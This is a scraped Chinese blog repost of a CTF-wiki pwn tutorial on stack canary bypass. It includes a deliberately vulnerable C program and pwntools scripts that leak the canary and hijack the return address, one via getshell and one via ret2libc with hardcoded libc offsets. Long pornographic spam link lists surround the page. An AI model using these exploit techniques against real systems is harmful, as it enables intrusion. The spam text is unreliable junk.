日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問(wèn) 生活随笔!

生活随笔

當(dāng)前位置: 首頁(yè) > 编程资源 > 综合教程 >内容正文

综合教程

ctfwiki-pwn:canary

發(fā)布時(shí)間:2024/8/26 综合教程 56 生活家
生活随笔 收集整理的這篇文章主要介紹了 ctfwiki-pwn:canary 小編覺(jué)得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

GCC 中使用以下參數(shù)設(shè)置 Canary:

-fstack-protector 啟用保護(hù),不過(guò)只為局部變量中含有數(shù)組的函數(shù)插入保護(hù)

-fstack-protector-all 啟用保護(hù),為所有函數(shù)插入保護(hù)

-fstack-protector-strong -fstack-protector-explicit 只對(duì)有明確 stack_protect attribute 的函數(shù)開(kāi)啟保護(hù)

-fno-stack-protector 禁用保護(hù)

Canary

序言

Canary 是一種十分有效的解決棧溢出問(wèn)題的漏洞緩解措施。但是并不意味著 Canary 就能夠阻止所有的棧溢出利用,在這里給出了常見(jiàn)的存在 Canary 的棧溢出利用思路,請(qǐng)注意每種方法都有特定的環(huán)境要求。

源碼:

// ex2.c
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
void getshell(void) {
    system("/bin/sh");
}
void init() {
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);
}
void vuln() {
    char buf[100];
    for(int i=0;i<2;i++){
        read(0, buf, 0x200);
        printf(buf);
    }
}
int main(void) {
    init();
    puts("Hello Hacker!");
    vuln();
    return 0;
}

編譯為 32bit 程序并關(guān)閉 PIE 保護(hù) (默認(rèn)開(kāi)啟 NX,ASLR,Canary 保護(hù))

gcc -m32 -no-pie ex2.c -o ex2

我們使用gdb-peda,嘗試獲取溢出的偏移值,發(fā)現(xiàn)程序報(bào)錯(cuò)了SIGABR

SIGABRT是中止一個(gè)程序,它可以被捕捉,但不能被阻塞。處理函數(shù)返回后,所有打開(kāi)的文件描述符將會(huì)被關(guān)閉,流也會(huì)被flush。

這里我的理解是我們開(kāi)啟了canary,我們輸入的字符覆蓋了canary插入的cookie,被檢測(cè)出來(lái)了,程序就終止了。

Canary 實(shí)現(xiàn)原理

開(kāi)啟 Canary 保護(hù)的 stack 結(jié)構(gòu)大概如下:

泄露棧中的 Canary

Canary 設(shè)計(jì)為以字節(jié)x00結(jié)尾,本意是為了保證 Canary 可以截?cái)嘧址?泄露棧中的 Canary 的思路是覆蓋 Canary 的低字節(jié),來(lái)打印出剩余的 Canary 部分。 這種利用方式需要存在合適的輸出函數(shù),并且可能需要第一溢出泄露 Canary,之后再次溢出控制執(zhí)行流程。

Canary 繞過(guò)技術(shù)

首先通過(guò)覆蓋 Canary 最后一個(gè)x00字節(jié)來(lái)打印出 4 位的 Canary 之后,計(jì)算好偏移,將 Canary 填入到相應(yīng)的溢出位置,實(shí)現(xiàn) Ret 到 getshell 函數(shù)中

我們先嘗試獲取canary的值,因?yàn)槭切《耍詂anary高地址存的是0,那么我們將0覆蓋后就可以打印出canary的值了

from pwn import *
context(log_level = 'debug', arch = 'i386', os = 'linux')
io=process('./ex2')
getshell=ELF('./ex2').sym['getshell']
io.recvuntil("Hello Hacker!
") 
io.sendline('a'*100)
io.recvuntil('a'*100)
Canary=io.recv(4)
print(":"+str(Canary))
print(u32(Canary)) #格式轉(zhuǎn)換

運(yùn)行如圖所示,我們成功將canary的值打印出來(lái)了:

得到canray值之后,在第二次循環(huán)中我們可以在棧中相對(duì)的位置寫入canary值,然后再寫入shellcode

在IDA PRO中查看vuln函數(shù):

根據(jù)IDA PRO查看的信息,這里列出在vuln函數(shù)中的棧:

發(fā)現(xiàn)了buf到canary的偏移為0x70-0xC=100,我們?cè)?xC的位置填上canary的值,這時(shí)候填充到了ebp-8h的位置(即到ebp的位置為8)

我們填充8個(gè)字節(jié)到ebp,然后再用4個(gè)字節(jié)覆蓋舊的ebp,之后才是我們想要的ret位置

canary到返回地址的大小=8個(gè)字節(jié)(填充)+4個(gè)字節(jié)(oldebp)

編寫EXP:

from pwn import *
context(log_level = 'debug', arch = 'i386', os = 'linux')
io=process('./ex2')
getshell=ELF('./ex2').sym['getshell']
io.recvuntil("Hello Hacker!
") 
io.sendline('a'*100)
io.recvuntil('a'*100)
Canary=io.recv(4)
payload='a'*100+p32((u32(Canary)-0xa))+'a'*12+p32(getshell) #buf + canary + canary到返回地址的大小 + 返回地址
io.sendline(payload)
io.recvuntil('a'*100)
io.interactive()

運(yùn)行:

附(學(xué)會(huì)舉一反三):

利用我們pwn實(shí)驗(yàn)2的ret2libc,編寫EXP:

from pwn import *
context(log_level = 'debug', arch = 'i386', os = 'linux')

libc_base=0xf7dc9000

system=libc_base+0x0045830
bash=libc_base+0x00192352


io=process('./ex2')
io.recvuntil("Hello Hacker!
") 
io.sendline('a'*100)
io.recvuntil('a'*100)
Canary=io.recv(4)
payload='a'*100+p32((u32(Canary)-0xa))+'a'*12+p32(system)+p32(0xdeadbeef)+p32(bash)
io.send(payload)
io.recvuntil('a'*100)
io.interactive()

總結(jié)

以上是生活随笔為你收集整理的ctfwiki-pwn:canary的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。

如果覺(jué)得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。

主站蜘蛛池模板: www.白虎| 欧美系列一区二区 | 亚洲调教欧美在线 | 亚洲国产视频在线观看 | 高清无码一区二区在线观看吞精 | 韩国美女黄色片 | 国内偷拍一区二区 | 青青草网站 | 伊人狼人影院 | 超碰视屏 | 99欧美 | 久久国产精彩视频 | 日韩黄色网络 | 99热国产精品 | 国产91视频在线观看 | 九色视频91 | 苍井空浴缸大战猛男120分钟 | 1024手机在线观看 | 久久精品国产亚洲AV成人雅虎 | 午夜在线观看免费视频 | 成人69视频| 黑人玩弄人妻一区二区三区影院 | 老太婆av | 操操操操操操操操操操 | 天天操天天弄 | 六月婷婷久久 | 婷婷亚洲视频 | 久久久久久久久久久久国产精品 | 日韩特一级 | 亚洲免费自拍 | 老汉色av| 亚洲天堂av线 | 免费在线一级片 | 国产精品美乳在线观看 | 国产香蕉视频在线观看 | 欧美黑人孕妇孕交 | 精品国产xxx | 免费看一级黄色大全 | 久久人 | 国产视频亚洲 | 久久精品国产99久久不卡 | 国产网站在线看 | 你懂的在线观看网址 | 中文字幕资源在线 | 精品国产免费一区二区三区 | 久久久久99精品成人片直播 | 韩国美女被c | 欧美一区二区三区在线免费观看 | 精品人妻无码中文字幕18禁 | 99精品人妻国产毛片 | 一级片日韩 | 在线黄色大片 | 熟女肥臀白浆大屁股一区二区 | 精品一级少妇久久久久久久 | 假日游船法国满天星 | 在线观看视频毛片 | 亚洲va国产天堂va久久 en | 精品乱 | 欧美人体做爰大胆视频 | 亚洲一区二区电影网 | 中国极品少妇xxxx做受 | 亚洲 欧美 国产 另类 | 日韩欧美aaa | 日韩欧美亚洲成人 | 亚洲一区精品视频 | 中文字幕在线视频一区二区 | 毛片a片免费观看 | 青春草网站 | 电影《两个尼姑》免费播放 | 国产乱国产乱 | 成人www| 欧美成人精品一区二区男人小说 | 国产日韩在线观看一区 | 91亚洲天堂| 国产高清在线一区 | 特黄视频免费看 | 一本色道久久hezyo无码 | 在线观看91视频 | 日韩一级淫片 | 久久黄色视| 国产日视频 | 韩国三级hd中文字幕 | 国产精品无码久久久久一区二区 | 成人性生交大片免费看 | 欧美性猛交久久久久 | 日本免费高清视频 | 精品毛片一区二区三区 | 波多野吉衣一区二区 | xxx毛片| 女人舌吻男人茎视频 | 亚洲日本三级 | 可以直接看av的网址 | 97超碰免费 | 国产免费成人在线视频 | 国产成人a亚洲精品 | 国产一区二区三区在线观看免费 | 精品天堂 | 99色网站| 欧美成人福利 |